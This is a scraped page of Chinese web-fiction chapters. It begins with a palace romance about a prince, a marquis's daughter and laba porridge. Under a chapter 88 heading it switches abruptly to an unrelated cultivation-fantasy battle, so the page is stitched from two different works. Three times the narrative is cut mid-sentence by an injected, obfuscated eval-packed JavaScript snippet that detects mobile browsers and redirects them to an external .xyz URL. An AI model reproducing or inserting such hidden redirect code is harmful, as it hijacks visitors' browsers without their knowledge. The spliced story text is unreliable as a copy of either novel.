父皇和母后总觉得亏欠了他。
可他这些年得了那么多宠爱,不过区区生辰礼物而已。
他要什么有什么,他才不在意呢。
回了王府。
谢翊宁想到了先前在御书房听到的事情,将照夜找了过来。
“你去打听打听,那个王素娥和谢锦程到底是怎么一回事?还有,顺便也去探望一下衔蝉。”
照夜意味深长地看了主子一眼。
探望衔蝉是假,打听晏大小姐的事情才是真吧。
看来王爷真是对晏大小姐情根深种。
想来等到明年大小姐及笄,他们就要有王妃了。
第85章 非卿不娶么
衔蝉正教晏逐星煮腊八粥,看守角门的管事娘子罗柳氏就来了。
“衔蝉姑娘,永安王府来人了,说要见你。”
衔蝉忙看向晏逐星,脱口而出:“奴婢最近都没和王府有联系。”
晏逐星见她这般紧张,微微弯了弯眉眼:“无妨。你去看看吧,许是有什么要紧事。”
衔蝉点头,洗干净了手,这才出去见人。
见到照夜,她有些惊讶。
“照夜大人,您来寻我是有什么事吗?”
“上回王爷让你去找嬷嬷拿簪子,你没拿,所以便让我给你送了过来。”照夜掏出一支银簪递给了她。
衔蝉这才想起上回王爷要走了小姐给她的簪子,允诺让她挑,结果她急着回来**,就给忘了。
看着簪子她眉头微皱。
这簪子怎么那么粗糙,看起来就不像王府会出现的东西。
王爷也不像那么抠门的人啊。
怎么会拿这样的东西糊弄她?
“很丑吗?”虽然看出了她眼里的嫌弃,但照夜还是忍不住问了出来。
“呵呵呵呵。谢谢啊。”衔蝉尴尬地笑了没有正面回答。
不回答就是最好的回答。
照夜懂了。
他雕刻了十多支簪子,认为这支最好看,原来还是入不了衔蝉姑娘的眼。
他还得练。
他本想将那支簪子收回,但又觉得再拿回来也不合适。
于是他又掏出了一支金簪:“拿错了,这才是王爷让我给你的。”
衔蝉眼睛瞬间亮了起来。
这支海棠花簪子可真好看。
她当即接过,笑道:“记得替我谢谢王爷。”
将两支簪子都收下后,她看向了照夜:“还有别的事吗,没有我就先回去了。我在教小姐煮腊八粥呢。”
“腊八粥?明日可会送去王府?”照夜立刻尽职尽责地打听了起来。
“送王府做什么?”衔蝉一愣。
“小姐是要给烈国公府送。”
她说完顿时意识到照夜是在套话。
如今她是大小姐的人,断不能随意透露大小姐的想法。
她赶忙转移了话题。
“你们呢?最近在忙什么?明日王府可会煮腊八粥?”
“前几日,王爷命我和停云去了醉花楼,让我们看看那夜是否遗漏了东西。”照夜听出了她的试探,没有隐瞒,压低声音给了她暗示。
衔蝉心头“咯噔”一跳。
“然后呢?”她忍不住追问。
“没有落下任何东西,因为王爷本来就没去过醉花楼。”照夜盯着她的眼眸,意有所指。
衔蝉顿时会意:“好了,不和你说了,粥该糊了。”
她晃了晃手中的簪子,冲他展颜一笑:“劳烦你走这一趟啦。谢谢。”
说罢她便快步回了玉澜院。
角门关闭,照夜离开。
盯着他们的人,也离开了。
衔蝉见到晏逐星,立刻把先前的对话一五一十的全说了出来。
晏逐星瞬间就领悟了照夜的言外之意。
谢翊宁知道了那夜是她动的手,非但没跟刑部和大理寺检举她,反而还替她善后了。
她瞬间紧张了起来。
谢翊宁三番五次地帮她,当真只是为了报恩么。
他究竟想要什么呢?
他让贴身护卫来说这么一番话,是敲打她日后收敛些,还是让她明日去请罪?
晏逐星脑海里一瞬间闪过了无数的念头。
“小姐?”见她脸色不好,衔蝉心下有些不安。
晏逐星回过神来,冲她露出了一抹笑。
“没事,明日多做些腊八粥。我给国公府送完之后,便去施粥。永安王那边,你也替我送一份过去吧。”
“是。”衔蝉点头应下了。
*
“大人,永安王的护卫去了侯府,在角门与侯府大小姐的丫鬟相会,先给了她一支银簪,又给了她一支金簪。”裴明镜派去的护卫第一时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657535|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间将这个消息传了回来。
“只不过他们说话声音很低,我并未听到他们说了什么。”
裴明镜若有所思。
他一直觉得永安王对晏逐星不一般,上回让郑晗盯着他不敢,他干脆就让自己的护卫去盯着了。
如今看来,他猜得果然没错。
两人私下确实关系匪浅。
银簪是赏赐给婢女的,金簪恐怕就是给晏逐星的了。
金簪赠佳人,结发许同心。
永安王命人给晏逐星送去金簪,含义不言而喻。
他对晏逐星竟然已经到了非卿不娶的地步么。
可晏逐星这样的身世和名声,帝后会同意永安王娶她为正妃么?
裴明镜觉得不可能。
但想到永安王的性子,他忽然又有些不确定了。
依照永安王的性子,他若非要娶,恐怕帝后也拗不过他,只有同意的份。
可他过不了两年就要没命了,晏逐星攀高枝选他,真是目光短浅。
完全没有考虑过以后。
急功近利、心机叵测。
他在心底给晏逐星下了判定。
想到先前他还维护过她,被她可怜兮兮的模样骗过。
他心里对晏逐星的厌恶忍不住增加了几分。
“继续盯着她。”裴明镜当即吩咐下去。
护卫离开后,裴明镜看着**的证词,陷入了沉思。
昨夜,昭瑞亲王府来人见了管家**一面。
今日,**便改了口。
只说是王素娥在王府里帮工时,他色迷心窍,起了不该有的心思,被王素娥拒绝后,恼羞成怒,**,灭了王家满门。
他将一切的罪名都揽到了自己头上,半句不利于谢锦程的话都没说。
这样下去,恐怕这桩案子也就到此为止了。
他疲惫地闭上了眼睛。
脑海里不由闪过了晏逐星的脸。
和上一次一样,他总觉得这桩案件的突破口,应该在她身上。
第86章 三十还未嫁
只是他把卷宗翻来覆去地看了几十遍,又去醉花楼现场查了好几回,都没找到和晏逐星有关的证据。
有时候他也会怀疑是不是自己想多了。
但他相信自己的直觉。
于是裴明镜下定了决心。
在结案之前,他要多多和晏逐星接触,一定要从她那里撬出真相。
*
腊月初八,宜祈福、求嗣,忌入宅、嫁娶。
晏逐星早早地就起身去了小厨房煮腊八粥。
因为晏明修的事情,定远侯府乱成了一团。没有人提醒,当家主母的温如霜根本想不起今日已经是腊八。
晏逐星亲自给定远侯送了一碗腊八粥,定远侯这才惊觉今日已经是腊月初八。
而侯府里丝毫没有过节的热闹气息,一片死气沉沉。
定远侯心情有些糟糕。
晏逐星开口道:“父亲,女儿打算命人熬制一些腊八粥,待会到城外去给百姓施粥。近来府中多事,权当是为咱们家祈福了。您意下如何?”
定远侯满意地看着她:“星儿有心了。”
这段时间,侯府上上下下确实有些不顺。
给百姓施粥积攒功德,说不定能化解侯府这些坎坷。
他叫来管家,吩咐道:“给大小姐支三百两银子,备好施粥所需。”
晏逐星笑着称赞:“父亲大义。届时百姓们定会感念您这份恩德,颂扬侯府仁德,皇上若是知晓,想必也会夸赞您品行仁善堪为百官之首。”
这一席话说得定远侯是眉目舒展,心花怒放,当场又给晏逐星加了二百两银子。
晏逐星自然不会推脱。
收下银子,她便命人将昨日就采买好的食材拿去熬煮腊八粥。
而她先去了一趟烈国公府。
“妹妹。”看到她,尉迟敦开开心心地跑了过来,手里还抱着她送的那个布老虎。
“哥哥,当心,莫要摔了。”晏逐星赶忙拦住他。
“不会摔,我厉害着呢!”尉迟敦骄傲地扬起了下巴,随后又神秘兮兮地凑到她耳边,“昨日我还钓到鱼了呢。”
“有那么大!”他虚空比划了一下,那鱼至少得有半臂长。
“哇,哥哥好厉害,竟然能钓那么大的鱼。”晏逐星丝毫不吝啬自己的夸奖,脸上满是崇拜。
一旁的丫鬟嘴角抽了抽。
那鱼是国公爷特意命人跳到湖里,撬开鱼嘴让它咬钩的。
不然世子爷一坐就是一天,谁受得了啊。
“那是,爹爹还给我烤了鱼,香喷喷的。哎呀。忘了给妹妹留了。”尉迟敦懊恼地挠了挠头。
“没关系,今日腊八,我给哥哥送了腊八粥。”晏逐星笑着牵着他进了花厅。
烈国公夫妇得知她要来,早早就等着了。
令晏逐星没想到的是,屋子里还有一个看起来约莫三十出头的妇人,看着有些面生。
且她梳的竟还是未嫁女儿家的发式。
见她目光略带疑惑。
烈国公夫人拉着她的手,给她介绍道:“这是你义父的小表妹,姓骆。你同敦儿一样唤她表姑就好。”
“见过表姑。”晏逐星乖巧行礼。
骆文缨点点头,给了她一个镯子当见面礼。
晏逐星将煮好的腊八粥让丫鬟送了上来。
“这是我亲手做的,你们尝尝。”
“那我们可得好好尝尝了。”二老笑容满面。
尉迟敦乖乖在旁边喝粥,喝到一半,他端起一碗新的粥站了起来。
“敦儿,你去哪呀?”烈国公夫人赶忙叫住他。
“妹妹也要。”尉迟敦一本正经地回答声。
“妹妹不是在这吗?”烈国公夫人指向了晏逐星。
“不是这个妹妹。”尉迟敦摇了摇头,“这是星儿妹妹。”
随后他低头看向了手中的腊八粥。
“这是给晞儿妹妹的。”
一句话让烈国公夫妇都愣住了。
见他们好像还不明白,尉迟敦认真地解释了起来:
“星儿妹妹说晞儿妹妹去了很远的地方,等我长大了,她就会回来看我了。她说,不要认错人,要一直记得晞儿。不然晞儿会伤心的。”
烈国公夫人听到这话,当场就掉下了眼泪。
“哥哥快去吧,腊八粥冷了可就不好吃了。晞儿妹妹若是收到了你送的腊八粥,肯定很开心。”晏逐星笑着看向了尉迟敦。
“嗯!”尉迟敦重重点头,开心地捧着腊八粥送到了尉迟晞的牌位前。
未嫁人又没及笄的女子,算是夭折,不得入祠堂。
但烈国公夫妇心疼女儿,便将她生前住的院落保留了。在屋内设了一个小的灵堂,逢年过节祭拜女儿。
尉迟敦正是要去那里探望妹妹。
他跟着丫鬟离开后,烈国公已经替夫人擦掉了眼泪。
烈国公夫人紧握住晏逐星的手:“星儿,多谢你。”
若不是星儿一直给敦儿看女儿的画像,不厌其烦地跟他说了那么多道理,恐怕敦儿早就把自己的亲妹妹给忘记了。
“都是一家人,干娘不必和我道谢。”晏逐星赶忙宽慰她,随后又将自己打算去城外施粥的事情说了。
烈国公夫人猛地一拍脑袋:“哎呀,我怎么把这事给忘了。那我们也去吧。就当给敦儿攒些功德,盼他岁岁平安。”
“都听夫人的。”烈国公自然不会有任何的意见。
一旁的骆文缨看向晏逐星的目光也多了一丝温和。
这小姑娘,倒是善良。
不似她以为的那种攀龙附凤之人。
“我现在就去准备吧,待会和表嫂一块去施粥。”骆文缨开口。
“那当然好呀。”烈国公夫人笑呵呵地应下。
骆文缨起身后,烈国公也去找儿子了,屋内只剩下了烈国公夫人和晏逐星。
烈国公夫人关心地询问了她在侯府的近况,得知她一切都好,便放心下来。
说着说着,她转头聊起了骆文缨。
晏逐星立刻竖起耳朵听起来。
毕竟她确实有些好奇,骆文缨三十出头了,为何还是未嫁之身。
“文缨比你义父小了十八岁,我嫁过来时,她才那么大点。”烈国公夫人比划了起来。
“她自小和霍家长子定了娃娃亲。”
“哪个霍家?”晏逐星心下一动。
“就是镇守边关的霍问霍将军的长子霍开昀。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663539|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
烈国公夫人叹了一口气。
“只可惜,天妒英才,文缨及笄后,两家正欲议亲,霍家长子却战**沙场。霍家不愿耽误文缨,称娃娃亲只是玩笑,反正还没正式下聘定亲,让她另嫁。但文缨却不愿意,自此为他守节,终身不嫁。”
“从十六岁至今,已经三十有二。这十几年来,她从未松口。”
“如今尉迟姑姑命不久矣,想要在撒手人寰之前看她嫁人,这才让她回京,请我们给她找一个好人家。”
晏逐星这才恍然大悟。
为何骆文缨三十多了还梳着未嫁女子的发式。
“原来如此。表姑对霍家那位少将军真是情深义重啊。”
烈国公夫人再次叹气:“太重情也不是什么好事。蹉跎至今,京中哪里还有什么好人家可选。她这个年纪,怕是只能去给人续弦了。”
“好人有好报,表姑这般重情重义,说不定日后还有一个如意郎君等着她呢。”晏逐星宽慰她。
两人闲聊了几句,想着时间差不多了,约定好城外见后,晏逐星就先告辞了。
与此同时。
衔蝉也把腊八粥送去了永安王府。
“王爷,定远侯府也送了腊八粥来。”照夜将东西送到了谢翊宁面前。
谢翊宁抱着猫儿摆了摆手:“拿下去分了吧。”
每年腊八节,宫中还有京城里有头有脸的人家都会给他们送腊八粥,他懒得看,都是让下人分掉的。
“衔蝉送回来的,说是晏大小姐亲手做的。”照夜强调了一遍。
谢翊宁歪着的身子瞬间坐直了。
“什么?竟然还让她亲手煮腊八粥,侯府竟然连煮饭的厨娘都要克扣她的么?”
他看定远侯真是欠敲打了。
要不他去父皇面前说几句谗言吧,让定远侯好好回家整治整治后宅。
照夜:……
他终于体会到了停云的感受。
王爷对那位当真是溺爱过头了。
晏大小姐是那种会让人欺负的性子么?
“是大小姐感念王爷恩德,亲手做了,让衔蝉送回来的。”照夜只得完完整整地把话说清楚。
谢翊宁听到这话,努了努嘴,示意照夜把粥盛出来他尝一口。
他一边吃一边询问道:“那她怎么不亲自送来。”
照夜:“她去给烈国公府送了。”
“哐当”一声响。
谢翊宁把勺子扔回了碗里。
什么意思,她亲自给烈国公府送,结果他这边竟然就让衔蝉送来打发了?
“怎么,她是觉得本王对她的恩德,不如烈国公府的大?”
他心里莫名有些不高兴了。
还是停云懂他,赶忙道:“王爷,您是为她做了那么多,您没说,人家也不知道呀。咱做了好事,必须得留名。”
“本王岂是那种沽名钓誉之人。不过是些小事罢了,有什么好说的。”谢翊宁哼了一声。
“对您来说是小事,对晏大小姐来说可就未必了。听说她今日要在城外施粥,不如您亲自问问去?”停云提议。
照夜一脸惊讶地看着他,这小子转性了?
竟然还会撮合王爷和晏大小姐了。
第87章 不是私会么
停云回了他一个眼神:识时务者为俊杰。
他早就不是当初的他了!
如今,他和王爷一条心。
王爷为了晏大小姐,不仅找了裴大人的麻烦,甚至连她伤了谢世孙命根子之事都能包庇。
这份心意堪比磐石。
王爷分明是铁了心要护她。
都这份上了,他还犟什么,识相点赶紧听王爷的得了。
王爷说晏大小姐是好人,那她就是好人!
“本王是这么小气的人么,有什么好问的。”谢翊宁像是想起了什么,重新拿起勺子继续吃剩下的腊八粥。
吃完后转头就吩咐了管家准备施粥的东西。
照夜、停云:……
王爷真是一如既往地嘴硬。
*
晏逐星抵达城外时,施粥的队伍已经排成了长龙。
百姓们一见她的车驾,呼啦啦跪倒一片,你一言我一语地高喊:“谢晏大小姐施粥之恩!”
“大小姐,您真是救苦救难的活菩萨啊。”
感恩声道谢声此起彼伏。
晏逐星忙摆手示意他们安静:“我的一片小小心意罢了。大家好好排队,莫要推搡。今日腊八,都过个好节。”
她简单的一句话却让不少百姓红了眼眶。
侯府的腊八粥都加了糖,吃起来甜丝丝的。而且分量很足,实打实的一碗粥,不像往日里别的贵人那般,施的粥就是在水里找米,有些甚至还掺了细碎的石子。
如今侯府一碗粥入肚,他们都能吃得饱饱的,整个人都暖和了。
裴明镜得知定远侯府派人到城外施粥,猜测晏逐星一定会来。
果不其然,他在这等了两刻钟,她果然来了。
他坐在不远处的马车里,远远地盯着晏逐星。
她替换了婢女,亲自给百姓们盛粥。
百姓们没想到侯府千金竟然愿意给自己亲自盛粥,都受宠若惊,又感恩戴德,一连说了好几句多谢。
“不用谢,天寒地冻的,领了粥,早日回家去吧。”她笑意盈盈地将粥递给了下一个人。
低头一看,发现等着施粥的是一个小姑娘。
身上穿着灰黑色漏风的小袄,红通通的小脸上横着几道冻裂的口子,还淌着鼻涕,看着可怜极了。
“仙女姐姐,我可以多要一份吗?”她怯生生地开口询问。
“每人一份,不能坏了规矩哦。”晏逐星摇头拒绝。
“可是我阿娘刚生了妹妹,太冷了,她起不来,妹妹也不能来。”小姑娘扁扁嘴,吸了吸鼻涕,快哭了出来。
“那你阿爹和爷奶呢?”一旁的双鲤忍不住问道。
“阿爹**,爷奶说我们是赔钱货,不要我们……”小姑娘垂下了头。
双鲤愕然,顿时有些窘迫了起来。
她没想到会戳中小姑娘的伤心事。
她看向了晏逐星:“大小姐,她这么可怜,要不就多给她盛一份吧。”
“凭什么呀,不是说好排队一人一份的么。”
“就是就是,那这样我是不是也能给我瘫痪在床的老娘多领一份……”
后边立刻有人不满了。
走向人群的裴明镜听到骚乱,顿住了脚步。
他也想听晏逐星会怎么回答。
晏逐星见小姑娘鼻涕都快掉到碗里了,她掏出帕子,替她温柔地擦掉。
小姑娘顿时鼓起勇气看向她。
没想到,听到的确是拒绝了。
“不行哦。”晏逐星将帕子塞到了她手里。
“规矩就是规矩。若人人都找借口要多盛一碗,这施粥的队伍不得乱套了。”
听到她的话,小姑娘脸上顿时出现了失落的表情。
但她懂事的没有纠缠,接过晏逐星递来的腊八粥,说了一声谢谢就抹着眼泪离开了。
晏逐星将勺子交给了双鲤,扭头附耳对九栀说了几句话。
“九栀,你带一碗粥去,送她回家。若她所言属实,晚些回了侯府,挑些下人们旧了的衣裳,送去给她们。”
九栀点头应下,单独盛了一碗粥离去。
裴明镜正要走过来跟晏逐星打招呼,就听到了一阵惊呼声。
“永安王来了。”
百姓
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663540|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们齐刷刷地跪下行礼。
“参见永安王。”
谢翊宁掀开车帘,走了下来,冲百姓们指向了西南方位。
“不必多礼。今日腊八,王府施粥在另一处,排队即可,每人一份。”
“多谢王爷。”百姓们乐开了花,没想到今日竟然能得那么多善人施粥。
如今天气冷,粥就算放上两日也不会坏。
这些贵人们可是替他们节省了几日的粮食啊!
裴明镜看到谢翊宁的那一刻,恍然大悟。
他说为什么晏逐星好端端的忽然施粥,原来是想扭转名声,顺便和永安**明正大地见面。
她可真是不放过任何一个能接触权贵的机会啊。
裴明镜唇角泛起一丝冷笑。
谢翊宁没想着什么避嫌不避嫌的,他直接走到了晏逐星身侧。
晏逐星忙冲他行礼:“臣女参见永安王。”
“不必拘礼。”谢翊宁用折扇轻轻将她胳膊抬起。
“多谢王爷。”晏逐星礼仪姿态摆得端端正正,让人挑不出毛病。
她说完这句话后,谢翊宁没有开口,晏逐星也摸不准他这是什么意思,于是也没有开口。
两人就这么沉默着谁也没说话。
谢翊宁用眼角余光偷偷瞥了她一眼。
她今日特意让衔蝉送腊八粥来,不是遇上困难要他帮忙的意思么?
怎么他都主动过来了,她还不吭声。
晏逐星也在心里嘀咕。
永安王忽然来找她是什么意思。
难不成是今日她没有亲自去永安王府道谢,他不高兴了?
她现在应该说点什么?
沉默。
依旧是无尽的沉默。
不远处的裴明镜都有些看不明白了。
这两人不是来私会么,怎么一言不发地站这儿吹冷风,到底要做什么?
最后还是谢翊宁没憋住先开了口。
“此地风大,不如到马车上歇着吧。”
他想,或许是此地人多,小恩人不方便开口。
到马车上,没了外人,或许她就敢跟他说话了。
第88章 被王爷误会
灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。
就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。
为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊!
“灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!”
狠人道。
灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难?
“原来如此……”张悬目光一闪。
“和你说这么多,也算感谢将我带到神界了!”
解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。
“张悬,黑洞吞的越多,他的实力越强……”
洛若曦也发现了不对劲,急忙传音过来。
“准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!”
轰隆!
最强大的剑意,再次施展而出。
生当复来归,死当长相思!
生死皆不在乎,又有何事可以阻拦?
这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。
呼!
一剑将狠人的攻击,斩成两半。
同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。
她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。
“你们的招数是很厉害,但对比我,还是差了些……”
轻轻一笑,狠人再次向下抓来。
一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。
噗!噗!
张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。
以二人的实力,竟然抵挡不住!
这家伙到底达到了何种境界?
“放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。
远远看去,逼格十足。
炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。
一拳扬起,力量冲上九天。
和狠人对碰,同样倒飞而出,挡不住一招。
张悬捂住额头。
成就帝君了,分身依旧不改装逼的本性……
这么绚丽的装逼,还不如将力量集中起来,威力更大!
“一起出手,不然,他们**,我们都会死……”
小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。
剩下六大帝君,也各自施展手段。
七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。
嘭嘭嘭嘭!
七位帝君和张悬等人一样,倒飞而出。
十大帝君,联合在一起,竟然都没挡住对方一招!
这家伙,怎么会这么强大?
“你们可以**……”
一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。
“鼠辈敢尔!”
伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。
“帝君?他也是帝君实力?”
张悬瞳孔一缩。
这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者!
如果他是帝君,那位青年,是什么?
“他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。
“那……传我剑法的青年呢?”张悬再也忍不住。
“他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。
张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。
“哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!”
将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。
“怎么办?”张悬拳头捏紧。
刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招……
难道神界,真的没人能够挡住眼前这位?
任由他将世界毁灭?
“唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。
“回归天道本身?”张悬知道她的意思。
脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。
就好像人体的免疫系统。
免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。
只是……
“他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。
病毒,免疫系统是可以斩杀,但……猛虎呢?
再强的免疫系统,又有什么办法?
眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。
“这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!”
“他?”张悬皱眉。
“我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。
“想逃?”狠人冷哼,向下一按。
嘭!
洛若曦从空中坠落。
“你……”张悬剑法再次施展出来,剑意辉煌而出。
叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
